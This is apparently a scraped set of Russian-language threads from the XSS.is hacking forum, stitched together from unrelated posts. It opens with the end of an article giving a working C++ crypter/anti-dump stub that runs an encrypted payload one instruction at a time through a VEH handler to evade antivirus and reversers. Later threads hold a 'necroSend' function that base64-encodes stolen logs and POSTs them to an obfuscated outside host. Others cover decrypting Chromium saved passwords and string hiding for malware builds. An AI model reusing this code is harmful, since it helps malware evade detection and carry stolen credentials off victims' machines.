    pointers = ["PayloadSection{0}Data".format(i) for i in range(len(pe.sections))]
    fil.write("static PBYTE PayloadSectionsData[] = {{ {0} }};\n\n".format(", ".join(pointers)))

    sizes = [str(section.SizeOfRawData) for section in pe.sections]
    fil.write("static DWORD PayloadSectionsSize[] = {{ {0} }};\n\n".format(", ".join(sizes)))

    addresses = ["0x{0:08X}".format(section.VirtualAddress) for section in pe.sections]
    fil.write("static DWORD PayloadSectionsRVA[] = {{ {0} }};\n\n".format(", ".join(addresses)))

Функции encrypt_text_section и encrypt_section используются для шифрования секции с кодом и других секций соответственно. Для секции с кодом я решил сделать технологию «блокчейн». Шучу. В общем для усложнения патчинга крекмиши каждый байт шифрованного кода зависит от предыдущего байта, то есть, если реверсер решит пропатчить 1 байт шифрованного кода, то ему нужно будет менять не один байт, а один байт и все байты после него. Остальные секции будут лежать в памяти в открытом виде, поэтому шифрование там не принципиально. Число 48271 — магическое, оно взято из minstd_rand стандарта C++11, чтобы получать шифрованные данные с хоть чуточку высокой энтропией. Но это не суть важно. Безусловно, тут можно было бы навернуть и нормального шифрования, но это вы сможете сделать в качестве домашнего задания, ведь это не является сутью текущей статьи.

Далее мы считываем файл payload.exe, скармливаем его библиотеке pefile и достаем оттуда: размер образа исполняемого файла в виртуальной памяти, базовый адрес по-умолчанию, смещение точки входа, смещения таблиц импорта и релоков, количество секций и данные всех секций. Из этих данных мы формируем файл payload.hpp, который затем подключим к основному файлу с кодом стаба. Секция .text в 99% случаев будет первой (как и в нашем случае), ей мы будем манипулировать отдельно от всех остальных в стабе. Я намерено избавился от всех ненужных нам заголовков PE-формата, поскольку отсутствие заголовков еще чуточку усложняет сам дампинг и разбор дампа с помощью всяческих интеллектуальных дизассемблеров. Ну давайте теперь переходить к самому интересному — коду стаба.

C++:Copy to clipboard

#pragma once
#include <windows.h>

const DWORD PayloadImageBase  = 0x00400000;
const DWORD PayloadImageSize  = 32768;
const DWORD PayloadSections   = 7;
const DWORD PayloadEntryPoint = 0x00001116;
const DWORD PayloadImportsRVA = 0x00006000;
const DWORD PayloadRelocsRVA  = 0x00007000;

static BYTE PayloadSection0Data[] = { /* ... */ };
static BYTE PayloadSection1Data[] = { /* ... */ };
static BYTE PayloadSection2Data[] = { /* ... */ };
static BYTE PayloadSection3Data[] = { /* ... */ };
static BYTE PayloadSection4Data[] = { /* ... */ };
static BYTE PayloadSection5Data[] = { /* ... */ };
static BYTE PayloadSection6Data[] = { /* ... */ };

static PBYTE PayloadSectionsData[] = { PayloadSection0Data, PayloadSection1Data, PayloadSection2Data, PayloadSection3Data, PayloadSection4Data, PayloadSection5Data, PayloadSection6Data };

static DWORD PayloadSectionsSize[] = { 512, 512, 512, 512, 512, 512, 512 };

static DWORD PayloadSectionsRVA[] = { 0x00001000, 0x00002000, 0x00003000, 0x00004000, 0x00005000, 0x00006000, 0x00007000 };

Вот так примерно будет выглядеть сгенерированный петоновским скриптом заголовочный файл. Все предельно просто. Нам нужен заголовочный файл windows.h для определения DWORD, BYTE и PBYTE типов. Каждая из секций полезной нагрузки была зашифрована и попала в свой отдельный статический массив байт. Для удобства указатели на все секции, их размеры и RVA (relative virtual address — смещение секции относительно базового адреса загруженного в виртуальную память исполняемого файла) хранятся в отдельных массивах. Остальные необходимые нам данные из PE-заголовков определены как константы.

5. Разработка кода стаба

Итак, код стаба. Наш стаб должен выделить буфер виртуальной памяти, достаточный, чтобы разместить в нем исполняемый файл, размер этого буфера определяет константа PayloadImageSize. Для простоты мы не сохраняли права доступа к секциям, а просто выделим большой блок памяти с правами на чтение, запись и исполнение. Это не очень хорошо в целом, но для нашего пруф оф концепта - достаточно. Затем наш стаб должен правильно расшифровать и расположить все секции исполняемого файла полезной нагрузки, кроме первой (секции .text — секции с кодом). Место секции .text стаб зальет инструкциями INT3 (байтом 0xCC). Затем стаб должен настроить таблицу импорта, добавить обработчик для VEH и начать исполнение с точки входа исполняемого файла. Расшифровку и подстановку инструкции по одной будет заниматься обработчик VEH исключений. Но давайте кодить это все постепенно, начнем с простых прикладных вещей:

C++:Copy to clipboard

#include <windows.h>
#include <dbgeng.h>
#include <stdio.h>

#include "payload.hpp"

#define DO_DEBUG     0
#define MAX_INS_SIZE 16

#define ERR(...) on_error(__LINE__, ##__VA_ARGS__)

VOID on_error(DWORD line, DWORD code = 0) {
    if(code == 0) { code = GetLastError(); }
    _printf_l("%d - %08X\n", 0, line, code);
    ExitProcess(line);
}

Подключаем необходимые нам заголовочные файлы, включая payload.hpp. Определим макросы препроцессора: DO_DEBUG — собираем ли мы отладочную версию нашего кода или нет, а MAX_INS_SIZE — определяет максимально возможный размер инструкции x86 (на практике в коде полезной нагрузки не будет инструкций больше 12 байт длиной, но, насколько, я помню максимально возможная длина инструкции x86 равна 16, так что пусть будет 16 для порядка). Макрос ERR и функция on_error отвечают за обработку ошибок. В контексте данного пруф оф концепта, если что- то идет не по нашему плану, просто вываливаем код ошибки в консоль и прибиваем свой процесс вызовом ExitProcess.

C++:Copy to clipboard

static const IID IDebugClientGuid   = { 0x27FE5639, 0x8407, 0x4F47, { 0x83, 0x64, 0xEE, 0x11, 0x8F, 0xB0, 0x8A, 0xC8 }};
static const IID IDebugControl3Guid = { 0x7DF74A86, 0xB03F, 0x407F, { 0x90, 0xAB, 0xA2, 0x0D, 0xAD, 0xCE, 0xAD, 0x08 }};

static IDebugClient*   debug_client  = NULL;
static IDebugControl3* debug_control = NULL;

BOOL debugger_attach_self() {
    CoInitialize(NULL);
 
    IDebugClient* client = NULL;
    HRESULT res = DebugCreate(IDebugClientGuid, (LPVOID*)&client);
    if(FAILED(res)) { ERR(res); return FALSE; }

    IDebugControl3* control = NULL;
    res = client->QueryInterface(IDebugControl3Guid, (LPVOID*)&control);
    if(FAILED(res)) { ERR(res); return FALSE; }

    ULONG flags = DEBUG_ATTACH_NONINVASIVE
                | DEBUG_ATTACH_NONINVASIVE_NO_SUSPEND;
   
    DWORD pid = GetCurrentProcessId();
    res = client->AttachProcess(0, pid, flags);
    if(FAILED(res)) { ERR(res); return FALSE; }
   
    res = control->WaitForEvent(DEBUG_WAIT_DEFAULT, INFINITE);
    if(FAILED(res)) { ERR(res); return FALSE; }      

    debug_control = control;
    debug_client = client;
    return TRUE;
}

Помните, как я говорил, что нам понадобится дизассемблер длин? Мы могли бы статически слинковать какую-либо из существующих библиотек для этого, но зачем это делать, если в системе уже есть подходящий для нас дизассемблер длин. Мы уже рассматривали его в одной из моих предыдущих статей, но давайте я вкратце напомню, что и как. С помощью COM и библиотеки dbgeng.dll мы создаем отладочного клиента IDebugClient, запрашиваем у него интерфейс IDebugControl3, клиента подключаем к текущему процессу и обрабатываем все события, связанные с его подключением. В последствии у интерфейса IDebugControl3 нам будет доступен метод Disassemble, с помощью которого мы и будем получать длину инструкции, а в отладочном режиме и дизассемблерный листинг в виде ANSI-строки.

К слову сказать, изначально я хотел реализовать эту идею не через VEH, а непосредственно с помощью перехвата отладочных событий IDebugClient через SetEventCallbacks и класса, реализующего интерфейс IDebugEventCallbacks, но, к сожалению (как выяснилось), это будет работать только для нескольких процессов. То есть процесс не может сам генерировать отладочные события и их же отлавливать, а форкать для этого второй процесс показалось не гуд. Очень жаль, такое решение, если бы работало, то выглядело бы куда красивее. Ну что же, имеем то, что имеем. Поехали дальше.

C++:Copy to clipboard

VOID decrypt_text_section(DWORD index, PBYTE buffer, DWORD size) {
    for(DWORD i = 0; i < size; i++) {
        DWORD bpos = index + i;
        DWORD xor1 = bpos != 0 ? PayloadSectionsData[0][bpos - 1] : 0;
        DWORD xor2 = ((42 + bpos) * 48271) & 0xFF;

        buffer[i] = PayloadSectionsData[0][bpos] ^ xor2;
        buffer[i] = buffer[i] ^ xor1;
    }
}

VOID decrypt_section(DWORD index, PBYTE buffer, DWORD size) {
    for(DWORD i = 0; i < size; i++) {
        BYTE xori = ((index * 48271 + i) * 48271) & 0xFF;
        buffer[i] = PayloadSectionsData[index][i] ^ xori;      
    }
}

Сделаем функции для «расшифровки» наших «зашифрованных» секций. Они ровным счетом такие же, как и были реализованы в генераторе на этих ваших Петонах. Код тут должен говорить сам за себя, поэтому останавливаться на нем более не будем.

C++:Copy to clipboard

static LPVOID image = NULL;

BOOL fix_one_reloc(PBYTE address, DWORD inslen) {
    auto ibr = (PIMAGE_BASE_RELOCATION)((PBYTE)image + PayloadRelocsRVA);
    auto ofs = (PBYTE)image - PayloadImageBase;

    typedef struct _IMAGE_RELOC {
        WORD offset :12;
        WORD type   :4;
    } IMAGE_RELOC, *PIMAGE_RELOC;

    while(ibr->VirtualAddress != 0) {
        auto list = (PIMAGE_RELOC)(ibr + 1);

        while((PBYTE)list != (PBYTE)ibr + ibr->SizeOfBlock) {
            if(list->type == IMAGE_REL_BASED_HIGHLOW) {
                auto pointer = (PBYTE)image + ibr->VirtualAddress + list->offset;
                if(pointer >= address && pointer + sizeof(ULONG_PTR) <= address + inslen)
                { *(ULONG_PTR*)(pointer) += (ULONG_PTR)ofs; return TRUE; }
            } else if(list->type != IMAGE_REL_BASED_ABSOLUTE)
            { ERR(); return FALSE; }
           
            list++;
        }

        ibr = (PIMAGE_BASE_RELOCATION)list;
    }

    return TRUE;
}

В глобальной переменной image мы будем хранить базовый адрес, где именно в виртуальной памяти наш стаб расположит секции полезной нагрузки. Функция fix_one_reloc проходит секцию релоков целиком в поисках того, есть ли релок в нашей одной конкретной инструкции. Если он есть, она патчит инструкцию на действительный адрес, исходя из значения переменной image. Если его нет, инструкция остается неизменной. Я портировал этот код из проекта donut потому, что зачем переписывать с нуля то, что уже было более долбаной тысячи раз написано.

C++:Copy to clipboard

static PBYTE old_address = NULL;
static DWORD old_length = 0;

LONG WINAPI vectored_handler(PEXCEPTION_POINTERS exception) {
    if(old_address != NULL && old_length != 0) {
        for(DWORD i = 0; i < old_length; i++)
        { old_address[i] = 0xCC; }

        old_address = NULL;
        old_length = 0;
    }
   
    auto text_ptr = (PBYTE)image + PayloadSectionsRVA[0];
    auto text_end = text_ptr + PayloadSectionsSize[0];
   
    auto address = (PBYTE)exception->ContextRecord->Eip;
    if(address < text_ptr) { ERR(); return EXCEPTION_BREAKPOINT; }
    if(address > text_end) { ERR(); return EXCEPTION_BREAKPOINT; }
   
    auto offset = (DWORD)(address - text_ptr);
    auto bufsiz = (DWORD)(text_end - offset);
   
    BYTE buffer[MAX_INS_SIZE];
    if(bufsiz > MAX_INS_SIZE)
    { bufsiz = MAX_INS_SIZE; }      
       
    decrypt_text_section(offset, buffer, bufsiz);

    CHAR disasm[128];
    ULONG64 next = 0;
    DWORD dislen = 0;

    auto hres = debug_control->Disassemble((ULONG64)buffer, 0, disasm, 128, &dislen, &next);
    if(FAILED(hres)) { ERR(); return EXCEPTION_BREAKPOINT; }

    DWORD inslen = (DWORD)(next - (ULONG64)&buffer[0]);

    #if DO_DEBUG
        _printf_l("%p %d %s", 0, address, inslen, disasm);
    #endif
   
    for(DWORD i = 0; i < inslen; i++)
    { address[i] = buffer[i]; }

    fix_one_reloc(address, inslen);
    old_address = address;
    old_length = inslen;

    return EXCEPTION_CONTINUE_EXECUTION;
}

Теперь давайте реализуем обработчик VEH исключений. Нам нужно сохранять и получать адрес и размер предыдущей инструкции, для этого мы объявим две глобальные переменные: old_address и old_length. Поскольку у нас однопоточная полезная нагрузка, то это нормальное решение. Если нам было бы нужно поддерживать многопоточность, то эти данные можно было бы хранить в TLS (thread local storage), таким образом у всех потоков эти переменные были бы свои. Ну или настроить какую-либо синхронизацию потоков при установке и считывании этих переменных.

Обработчик VEH исключений (в нашем случае он называется vectored_handler) принимает указатель на структуру EXCEPTION_POINTERS, которая в свою очередь содержит указатель на контекст потока. Давайте думать о контексте потока, как о наборе значений регистров процессора в тот момент, когда произошло исключение. Ну не орите, я просто упрощаю некоторые вещи, чтобы не вдаваться в какие-то дебри, которые хорошо знать, но понимание их для статьи не так важно.

В начале обработчика мы проверяем, исполняли мы уже до этого какую-либо из инструкций, и если исполняли, то зальем ее обратно байтами 0xCC. Затем мы высчитываем указатель на начало и на конец нашей секции .text. Далее получаем значение регистра EIP, в котором хранится адрес, по которому процессор хотел исполнить инструкцию. Если адрес попадает в нашу залитую INT3 секцию .text, то мы можем расшифровывать инструкцию. Если нет, то это какое-то исключение, вызванное полезной нагрузкой, и как его обработать мы не знаем. Поэтому мы просто изящно умираем.

Далее мы проверяем, является ли инструкция последней в секции .text. Если да, то ее размер скорее всего меньше 16 байт, и нам необходимо подкорректировать количество байт шифр-текста, который мы будем считывать из массива (чтобы ненароком не прочитать данных дальше его границы, ну хоть где-то сейф це- кодинг йопта). Дальше мы расшифровываем инструкцию во временный буфер на стеке (формально в большинстве случаев мы будем расшифровывать данных больше, чем на одну инструкцию — 16 байт, но в данном ключе это не так важно).

С помощью нашего системного дизассемблера длин получаем длину расшифрованной инструкции и в режиме отладочной сборки проекта еще и плюнем в консоль дизасмом этой инструкции. Затем скопируем инструкцию на ее место в виртуальной памяти и настроем ей релок, если он в ней есть. Сохраним адрес и длину текущей инструкции для следующего вызова обработчика и скажем системе, что мы все пофиксили и можно продолжать исполнение с помощью возврата константы EXCEPTION_CONTINUE_EXECUTION.

C++:Copy to clipboard

BOOL execute_payload() {
    image = VirtualAlloc(NULL, PayloadImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if(image == NULL) { ERR(); return FALSE; }

    PBYTE tva = (PBYTE)image + PayloadSectionsRVA[0];
    for(DWORD i = 0; i < PayloadSectionsSize[0]; i++)
    { tva[i] = 0xCC; }

    for(DWORD i = 1; i < PayloadSections; i++) {
        PBYTE va = (PBYTE)image + PayloadSectionsRVA[i];
        decrypt_section(i, va, PayloadSectionsSize[i]);
    }

    auto imp = (PIMAGE_IMPORT_DESCRIPTOR)((PBYTE)image + PayloadImportsRVA);
    for(; imp->Name != NULL; imp++) {
        auto nam = (LPCSTR)((PBYTE)image + imp->Name);
       
        auto dll = LoadLibraryA(nam);
        if(dll == NULL) { ERR(); return FALSE; }

        auto oft = (PIMAGE_THUNK_DATA)((PBYTE)image + imp->OriginalFirstThunk);
        auto ft  = (PIMAGE_THUNK_DATA)((PBYTE)image + imp->FirstThunk);

        for(;; oft++, ft++) {
            if(oft->u1.AddressOfData == 0)
            { break; }

            if (IMAGE_SNAP_BY_ORDINAL(oft->u1.Ordinal)) {
                auto ordinal = (LPCSTR)IMAGE_ORDINAL(oft->u1.Ordinal);
                ft->u1.Function = (ULONG_PTR)GetProcAddress(dll, ordinal);
                continue;
            }

            auto ibn = (PIMAGE_IMPORT_BY_NAME)((PBYTE)image + oft->u1.AddressOfData);          
            ft->u1.Function = (ULONG_PTR)GetProcAddress(dll, ibn->Name);
        }
    }

    AddVectoredExceptionHandler(1, vectored_handler);

    typedef VOID (*PEntryPoint)();
    auto entry = (PEntryPoint)((PBYTE)image + PayloadEntryPoint);
    entry();

    return TRUE;
}

extern "C" VOID entry_point() {
    if(!debugger_attach_self()) { ERR(); }
    if(!execute_payload()) { ERR(); }
       
    ExitProcess(0);
}

Ну чтож, нам осталось только собрать все вместе. В функции execute_payload мы правильно расшифровываем и располагаем секции, а на место секции .text наливаем INT3 инструкций на всю длину секций. Затем мы настраиваем таблицу импорта, чтобы все импортируемые полезной нагрузкой функции были готовы к исполнению. Этот код тоже был портирован из donut по описанным выше причинам. Затем мы добавляем обработчик VEH, указывая, что он должен быть первым в цепочке. Ну и вызываем точку входа, которая на тот момент указывает внутрь нашего большого блока из INT3 инструкций. Функция entry_point — точка входа исполняемого файла, просто инициализирует наш системный дизассемблер длин и вызывает функцию execute_payload. Все просто, а собирать мы это все будет аналогично полезной нагрузке, вот весь батник для сборки:

Bash:Copy to clipboard

i686-w64-mingw32-gcc.exe -o payload.exe  -fno-exceptions -fno-rtti -fno-ident -O3 -Os payload.cpp  -fno-ident -s -Wl,--pic-executable -e_entry_point -nostdlib -lkernel32 -lmsvcrt
python payload.py
i686-w64-mingw32-gcc.exe -o antidump.exe -fno-exceptions -fno-rtti -fno-ident -O3 -Os antidump.cpp -fno-ident -s -e_entry_point -nostdlib -lkernel32 -lmsvcrt -ldbgeng -lole32

6. Заключение

В заключении давайте рассмотрим недостатки этой технологии в том виде, в каком она представлена в этом пруф оф концепте. Во-первых, скорее всего очень много подводных камней осталось не проработано: они могут быть связаны с многопоточностью, с релоками внутри секций данный, с какими-то маргинальными инструкциями и так далее. Предлагаю потереть за это в комментариях к этой статье.

Во-вторых, с точки зрения злых реверсеров есть несколько способов упростить себе жизнь. Например, как показала практика достаточно неплохой идеей оказалось занопить код, который заливал предыдущую инструкцию, и таким образом получить в открытом виде все инструкции, которые были исполнены. Одним из вариантов противодействия этому является использования хеша кода обработчика VEH при расшифровке инструкций, таким образом реверсер не сможет его пропатчить каким-то образом.

В-третьих, с точки зрения злых аверов отсутствие какого-либо шифрования секции с данными — такое себе решения. Если нельзя влепить сигнатуру по памяти на секцию с кодом, то всегда можно влепить ее на секцию с данными. При этом, опять же как показала практика, аверы не особо голову включают, когда лепят сигнатуру (бедный и несчастный язык Nim в этом отношении, никогда вам аверам его не прощу). Очевидным решением этой проблемы является шифрование данных, но тут не так все просто, как с кодом, вероятно придется задействовать отладочные регистры или же парсить руками инструкции и пытаться понять, откуда они хотят и чего именно читать/писать.

В-четвертых, с точки зрения злых аверов можно влепить сигнатуру на сам протектор. В нашем случае в виртуальной памяти процесса должен постоянно существовать обработчик VEH исключений и функция для дешифровки инструкций. Конечно, его можно было бы разложить на эти ваши ROP-цепочки, это сложно, но скорее всего возможно.

В-пятых, а что будет, если сама полезная нагрузка возжелает перехватывать и обрабатывать исключения? В большинстве случаев – будет так себе.

В-шестых, подумайте и напишите в комментариях к статье все проблемы, какие вы видите, и давайте вместе их обдумаем, а я пока напишу, как эту технологию еще можно было бы улучшить. Конечно, это все теоретизация и домыслы с моей стороны, но все же.

Мы могли бы вообще не отображать исполняемый файл на виртуальную память процесса, а выбирать по одной инструкции и своего рода «интерпретировать» их так, как поступает, например, Петон с собственным байт-кодом. Таскать с собой полноценный эмулятор x86 скорее всего будет накладно, поэтому большую часть инструкций мы могли бы исполнять непосредственно на процессоре. А инструкции, которые потребуют чтения/записи памяти и условные/безусловные переходы придется обрабатывать вручную. Это существенно сложнее представленной в статье методики, да и куда менее портабельно в плане x86 и x64 кода, но скорее всего возможно при должном усердии.

Друзья, спасибо, что дочитали мою статью! Задавайте свои вопросы, пишите свои идеи по тематике статьи, делитесь знаниями!
Эта статья написана специально для вас — для моего любимого уютненького комьюнити XSS.is. ❤️❤️❤️

С++ http/s send post request wininet
ID: 6765d804b4103b69df375a4f
Thread ID: 33511
Created: 2019-11-27T16:43:10+0000
Last Post: 2020-06-24T19:05:10+0000
Author: Crypto Locker
Replies: 28 Views: 7K

C++:Copy to clipboard

void necroSend(PCSTR GetLink, PCSTR Logs, SIZE_T LogsSize) {
    SIZE_T outsize;
    LPCSTR param = custom_base64Encode((LPBYTE)Logs, LogsSize, &outsize);

    CHAR* szReq = (CHAR*)_alloc(outsize + 6);
    wnsprintfA(szReq, outsize + 6, "logs=%s", param);

    HINTERNET hIntSession = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hHttpSession = InternetConnectA(hIntSession, xorstr("arigato.com"), 80, 0, 0, INTERNET_SERVICE_HTTP, 0, NULL);
    HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "POST", GetLink, 0, 0, 0, INTERNET_FLAG_RELOAD, 0);

    const WCHAR* szHeaders = L"Content-Type: application/x-www-form-urlencoded";
    HttpSendRequestW(hHttpRequest, szHeaders, lstrlenW(szHeaders), (CHAR*)szReq, lstrlenA(szReq));

    InternetCloseHandle(hHttpRequest);
    InternetCloseHandle(hHttpSession);
    InternetCloseHandle(hIntSession);
    _free((CHAR*)param);
    _free((CHAR*)szReq);
}
Прячем строки в программах. C++
ID: 6765d804b4103b69df375ad7
Thread ID: 31670
Created: 2019-09-10T17:17:55+0000
Last Post: 2019-10-09T09:17:36+0000
Author: tabac
Replies: 37 Views: 7K

Доброго времени суток!

Сегодня речь пойдет о шифровке данных внутри программы и будет показан простой пример.

Все мы знаем, что строки не сильно шифруются без дополнительных программ. Это очень опасно.

Если у вас в программе содержится информация в строках, как константы, то их без проблем можно прочитать.

Могу привести пример - вирусописание. Зачастую у неопытных малварь-писателей в билдах остаётся информация, по которой можно выйти на них.

Помимо метаданных, которые некоторые компиляторы оставляют, есть еще и строки. Ссылки, пути, другая информация.

Сразу скажу, этот метод защитит от поверхностного анализа файла. То есть, если пользователь целенаправленно ищет слово "remote" или "rms", то он его не найдет.

И так приступим. Я буду проводить тест на Kali Linux 2019.2
Не обращайте внимание на Linux, под Windows есть подобные программы.

Что нам понадобится?

  1. Начальное знание C++ (так как тесты я как раз на нем буду проводить)
  2. Утилита "strings". ( Strings - *nix-утилита , применяемая для поиска печатных строк в двоичных файлах )
  3. Компилятор C++.

Начинаем.
Давайте для начала посмотрим, что мы имеем, когда создаем билд с обычной строкой.

Пишем код:

C++:Copy to clipboard

#include <string.h> //библиотека для работы с классом std::string
int main(){ //функция входа
    std::string mystr = "abcd123"; //Строка со значением "abcd123". Эту строку мы будем искать, ее нужно будет скрыть.
    //Заметьте мы просто вставляем строку в ячейку памяти. Мы не выводим ее.
    return 0; //Успешно завершаем выполнение
}

Компилируем:

Bash:Copy to clipboard

mkdir builds  # Папка для билдов
c++ uncrypted.cpp -o builds/uncrypted  # В моем случае я использую компилятор "c++", указываю файл исходного кода uncrypted.cpp и сохраняю в builds под именем uncrypted

Смотрим строки:

Bash:Copy to clipboard

strings uncrypted

И видим нашу строку:

1.png

Она написана открытым текстом. Что же я предлагаю сделать? Я предлагаю банально зашифровать строку при помощи XOR. (XOR берется в качестве примера)

Напишем наш криптор строк:

C++:Copy to clipboard

#include <iostream> // потоки ввода/вывода
#include <string.h> // библиотека для работы с классом std::string
int main(){ //функция входа
std::string mystr = "abcd123"; // Строка. Вы можете вводить строку и ключ с помощью потоков ввода, делайте на своё усмотрение.
std::string crypted = ""; // Переменная для сохранение зашифрованной строки

for(int i = 0; i < strlen(mystr.c_str()); i++) // Создаем цикл для шифровки каждого символа
crypted += mystr[i] ^ [B]2[/B]; //проводим операцию xor с ключом 2

std::cout << crypted << std::endl; // выводим результат

return 0; //Успешно завершаем выполнение.
}

Компилируем:
c++ crypter.cpp -o builds/cryptor
Запускаем:
./builds/cryptor
Видим, что совершенно понятный нам текст превратился в не понятный набор символов.

Code:Copy to clipboard

c`af301

Согласитесь, это выглядит куда загадочнее и не понятнее чем наш текст.

Ну и теперь напишем основную программу для теста:

C++:Copy to clipboard

#include <iostream> //потоки ввода/вывода
#include <string.h> // std::string

int main(){
    std::string mystr = "c`af301"; //Зашифрованный текст
    std::string a = ""; //Строка под расшифрованный текст

    for(int i = 0; i < strlen(mystr.c_str()); i++) //Запускаем цикл для каждого символа
    a += mystr[i] ^ 2; // Расшифровываем и заполянем переменную.
    std::cout << a << std::endl; //Выводим
    return 0; //Успешное завершение.
}

Заметьте, ключи при шифрование и расшифровке должны быть одинаковы. Если разные - результат будет другой.

Компилируем:
c++ crypted.cpp -o builds/crypted

Запускаем:
./builds/crypted
Видим правильный вывод строки.

Теперь заглянем внутрь файла.
strings builds/crypted

2.png

Видим только зашифрованный текст.

Таким способом вы можете зашифровать и расшифровать любые строки, байты, значения. Но стоит понимать, что от опытных реверсеров это не спасет, хотя и не только от опытных.

Всем спасибо за внимание, пишите свои мнения и критику.

Жду PE криптор с использованием XOR xD

Копирайт и автор @Pazsh

[Source] [C++] Открываем и закрываем Дисковод 2-мя строчками
ID: 6765d804b4103b69df375b0d
Thread ID: 26773
Created: 2018-12-06T15:33:43+0000
Last Post: 2019-02-26T06:06:07+0000
Author: ZERO
Replies: 20 Views: 7K

Создаем пустой проект, выбираем Release 32x - > Свойства проекта -> Компоновщик -> Ввод -> Дополнительные зависимости -> Изменить, и вписываем туда это:
Код:

Code:Copy to clipboard

Winmm.lib

Winmm.lib

1544110377451.png

Дальше создаем Main.cpp, и вписываем туда код:
Код:

Code:Copy to clipboard

#include <windows.h>

int main()
{
    mciSendString("set cdaudio door open", NULL, NULL, NULL);
    mciSendString("set cdaudio door closed", NULL, 0, NULL);
    return 0;
}

Все, при запуске программы у нас откроется и закроется дисковод.

Освоим C++ без Страха!
ID: 6765d804b4103b69df375b2d
Thread ID: 22924
Created: 2012-06-20T08:37:27+0000
Last Post: 2014-07-21T01:02:48+0000
Author: Kazig0re
Prefix: Мануал/Книга
Replies: 7 Views: 7K

Предлагаю вашему вниманию мой первый учебник по C++.
Автор учебника - человек, 10 лет проработавший в корпорации Microsoft.
Книга очень толковая. Если вы хотите изучить C++, но есть страх что ничего не поймёте, то эта книга для вас. Читается легко.
В заключении каждой темы присутствует домашнее задание)).
http://depositfiles.com/files/fpfzpovcehttp://webfile.ru/6007536
<http://wikisend.com/download/357204/C++ without fear + CD.rar>
Вес: 40 метров.
В архиве прилагается программа для чтения книг формата djvu.
P.s. если вы уже хоть как то знакомы с паскалем или баськой, то освоить книгу сможете без труда. Компилятор Visual C++ советую скачать с офф сайта Microsoft.
Если ваш компьютер достаточно слабый, то можете использовать компилятор Dev C++.
Так же в архиве уже предоставляется компилятор(в книге написано где он).

P.s. сохраняйте все свои записи на C++(и не только) в отдельную папку.
Оно вам очень сильно пригодится. Да и потом года через 3 глянете и посмеётесь,
вспоминая как долго мучались над каким либо кодом :D
Удачи в кодинге!!!) :thumbsup:

Программирование на C++
ID: 6765d804b4103b69df375b70
Thread ID: 6736
Created: 2006-01-27T06:36:51+0000
Last Post: 2008-05-23T08:29:46+0000
Author: sinkonst
Replies: 18 Views: 7K

Народ, плиз, имею желание заниматься C++, и хотелось бы найти качественные примеры с пояснениями на русском языке.
Может чем поможете, заранее спасибо. :help: :bang:

Компилятор С++
ID: 6765d804b4103b69df375ba6
Thread ID: 4445
Created: 2005-08-15T21:53:39+0000
Last Post: 2005-12-19T19:09:32+0000
Author: Troja
Replies: 17 Views: 7K

Какой компилятор лучше всего юзать для обучения?и откуда его скачать?

BCrypt, дешифровка пароля chromium.
ID: 6765d804b4103b69df375a73
Thread ID: 36125
Created: 2020-04-06T15:53:54+0000
Last Post: 2020-04-12T05:20:55+0000
Author: winload
Replies: 36 Views: 6K

C:Copy to clipboard

bool Init()
        {
            bool bRet = false;

            do
            {
                if (STATUS_SUCCESS != BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))
                {
#ifdef __DEBUG
                    Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't initialize cryptoprovider. Last error code: %n", GetLastError());
#endif
                    break;
                }

                if (STATUS_SUCCESS != BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0))
                {
#ifdef __DEBUG
                    Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't set chaining mode. Last error code: %n", GetLastError());
#endif
                    break;
                }


                bRet = true;

            } while (false);

          

            return bRet;
        }

// ---------------------------------

bool InitKey(
            IN PBYTE pbKey
            )
        {
            bool bRet = true;

            if (STATUS_SUCCESS != BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, pbKey, AES_256_KEY_SIZE, 0))
            {
#ifdef __DEBUG
                Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't deinitialize cryptoprovider. Last error code: %n", GetLastError());
#endif
                bRet = false;
            }

            return bRet;
        }
      
// ---------------------------------

bool DecryptPassword(
            IN PBYTE pbData,
            IN DWORD dwDataLength,
            OUT PCHAR pszDestination
            )
        {
            bool bRet = false;

            if (NULL == pbData || 0 == dwDataLength || NULL == pszDestination)
            {
                return bRet;
            }

            BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO BACMI;

            BCRYPT_INIT_AUTH_MODE_INFO(BACMI); // Макрос инициализирует структуру BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO


            BACMI.pbNonce = &pbData[3]; // Пропускаем префикс "v10".
            BACMI.cbNonce = 12; // Размер Nonce = 12 байт.
            BACMI.pbTag = &BACMI.pbNonce[12];
            BACMI.cbTag = dwDataLength - 3 - 12;

            DWORD dwOutLength = 19;

            PCHAR pszTest = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwOutLength + 1);
          
            ULONG ua = BCryptDecrypt(hKey, BACMI.pbNonce + BACMI.cbNonce, dwOutLength, &BACMI, NULL, 0, (PUCHAR)pszTest, dwOutLength, &dwOutLength, 0);
          
            }

После правильной цепочки вызовов - BCryptDecrypt возвращает 0xc000d и мусор в буффере. Помогите, пожалуйста.

Оптимальный размер стиллера на C++ ?
ID: 6765d804b4103b69df375980
Thread ID: 38630
Created: 2020-06-20T03:35:34+0000
Last Post: 2021-08-14T06:23:20+0000
Author: tilekvj
Replies: 40 Views: 6K

Давайте рассмотрим стиллеры.

С kpot все понятно, почему такой малый вес. Но что скажете о других стиллера. Почему такой маленький вес, если не юзают винапи? Подгружают dll и т.д.? Автора говорят -нет. Буквально вчера писал полную дешифровку на хроме 80, C++, получил 218 кб. Это ужас просто. Какой должен быть размер стиллера? Говорят чем меньше, тем лучше

Скрытие вызовов WinAPI по хешу.
ID: 6765d804b4103b69df375a76
Thread ID: 36073
Created: 2020-04-04T10:09:24+0000
Last Post: 2020-04-05T08:15:28+0000
Author: c0d3r_0f_shr0d13ng3r
Prefix: Статья
Replies: 22 Views: 6K

